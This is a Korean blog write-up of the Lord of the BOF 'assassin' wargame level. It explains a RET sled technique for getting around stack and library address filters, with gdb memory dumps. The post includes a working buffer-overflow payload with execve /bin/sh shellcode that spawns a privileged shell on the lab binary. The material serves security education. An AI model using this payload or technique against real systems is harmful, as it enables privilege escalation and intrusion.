시작
안녕하세요!! :D
이번 문제 풀면서 새로운 기법을 알게 됐습니다 ㅋㅋㅋㅋㅋ
똑똑이 분들이 많아요.. 어떻게 이런 생각을 하는지 대단합니다.
시작해보죠!!
Write UP
/*
The Lord of the BOF : The Fellowship of the BOF
- assassin
- no stack, no RTL
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer+sfp hunter
memset(buffer, 0, 44);
}
RTL과 스택 영역을 사용하지 못하게 필터를 걸어놨어요.
버퍼도 마지막에 0으로 초기화하기 때문에 버퍼에 쉘코드를 집어넣을 수도 없습니다.
솔직히 처음 봤을 때 떠올렸던 것은 csu 영역이에요 ㅋㅋㅋㅋㅋ 갓갓 csu로 돌려서 rop해야지!! 했는데
.. csu 부분이 없더라구요 ㅎㅎ..
새롭게 알게 된 기법을 사용하기로 했습니다.
바로 리턴 주소를 RET 명령어 위치로 돌리는 것 인데요!!
RET이 수행될 때 내부적으로 pop eip, jmp eip
가 실행되는데
esp 레지스터가 +4씩 되는 점을 이용해서 리턴값 뒤에 쉘코드의 주소를 넣어주고 그 쪽으로 jmp하게 하는 것입니다.
Starting program: /tmp/assassin/./assassin `python -c 'print "A" * 44 + "BBBB" + "CCCC" + "DDDD"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD
Breakpoint 2, 0x804851d in main ()
(gdb) x/20wx $esp
0xbffffac0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffad0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffae0: 0x00000000 0x00000000 0x00000000 0x42424242
0xbffffaf0: 0x43434343 0x44444444 0xbffffb00 0x40013868
0xbffffb00: 0x00000002 0x080483c0 0x00000000 0x080483e1
leave 명령어에 eip가 와 있는 상황인데요.
memset() 함수에 의해 버퍼 + SFP가 0으로 초기화되고, 리턴 주소에 “BBBB”가 들어와 있는 것이 보입니다.
0x804851e in main ()
(gdb) x/20wx $esp
0xbffffaec: 0x42424242 0x43434343 0x44444444 0xbffffb00
0xbffffafc: 0x40013868 0x00000002 0x080483c0 0x00000000
0xbffffb0c: 0x080483e1 0x08048470 0x00000002 0xbffffb34
0xbffffb1c: 0x08048308 0x0804854c 0x4000ae60 0xbffffb2c
0xbffffb2c: 0x40013e90 0x00000002 0xbffffc25 0xbffffc3e
ret 명령어까지 왔습니다. 이제 pop eip
가 실행되며 eip 레지스터에 0x42424242
값이 들어갈 것이고
jmp eip
에 의해 그 쪽으로 뛸 거에요.
만약 0x42424242
부분에 다시 한 번 ret 명령어의 위치가 들어간다면 어떻게 될까요??
esp는 0x43434343
위치로 이동할 것이고, pop eip, jmp eip
명령어에 의해 0x43434343
으로 뛰겠죠?
이러한 RET의 성질을 이용하는 겁니다!! RET SLED 라고 부르더라구요.
따라서 우리의 페이로드는 다음과 같습니다!!
BUF + SFP (44) | &RET 명령어의 주소 | 쉘코드의 주소 | NOP + 쉘코드
이렇게 한다면 pop eip
에서 쉘코드의 주소가 eip에 들어가게 될 거에요.
[giant@localhost giant]$ ./assassin `python -c 'print "A" * 44 + "\x1e\x85\x04\x08" + "\xb0\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀
bash$ id
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)
bash$ my-pass
euid = 515
pushing me away
Exploit!!
마무리
RET의 성질을 이용한 RET SLED 기법으로 익스를 때렸습니다.
이러라고 만든 RET이 아닐텐데 ㅎㅎ.. 대단하네요.
감사합니다 :D
'CTF_Write_UP > LOB' 카테고리의 다른 글
[LOB] zombie_assassin (0) | 2019.09.09 |
---|---|
[LOB] zombie (0) | 2019.08.03 |
[LOB] bugbear (0) | 2019.08.02 |
[LOB] darkknight (0) | 2019.08.01 |
[LOB] golem (0) | 2019.08.01 |